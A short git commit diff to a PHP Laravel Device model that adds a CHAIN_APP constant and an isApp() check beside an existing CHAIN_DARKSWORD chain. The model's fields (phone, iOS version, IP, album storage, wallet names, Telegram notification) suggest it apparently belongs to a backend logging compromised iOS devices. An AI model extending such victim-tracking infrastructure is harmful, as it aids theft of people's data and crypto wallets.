feat: app

app/Models/Device.php

@@ -18,6 +18,8 @@ class Device extends Model
 
     public const CHAIN_DARKSWORD = 2;
 
+    public const CHAIN_APP = 3;
+
     protected $fillable = [
         'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
         'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
@@ -82,6 +84,11 @@ class Device extends Model
         return (int) $this->chain === self::CHAIN_DARKSWORD;
     }
 
+    public function isApp(): bool
+    {
+        return (int) $this->chain === self::CHAIN_APP;
+    }
+
     public function hasWalletApps(): bool
     {
         return (int) $this->has_wallet === self::WALLET_YES;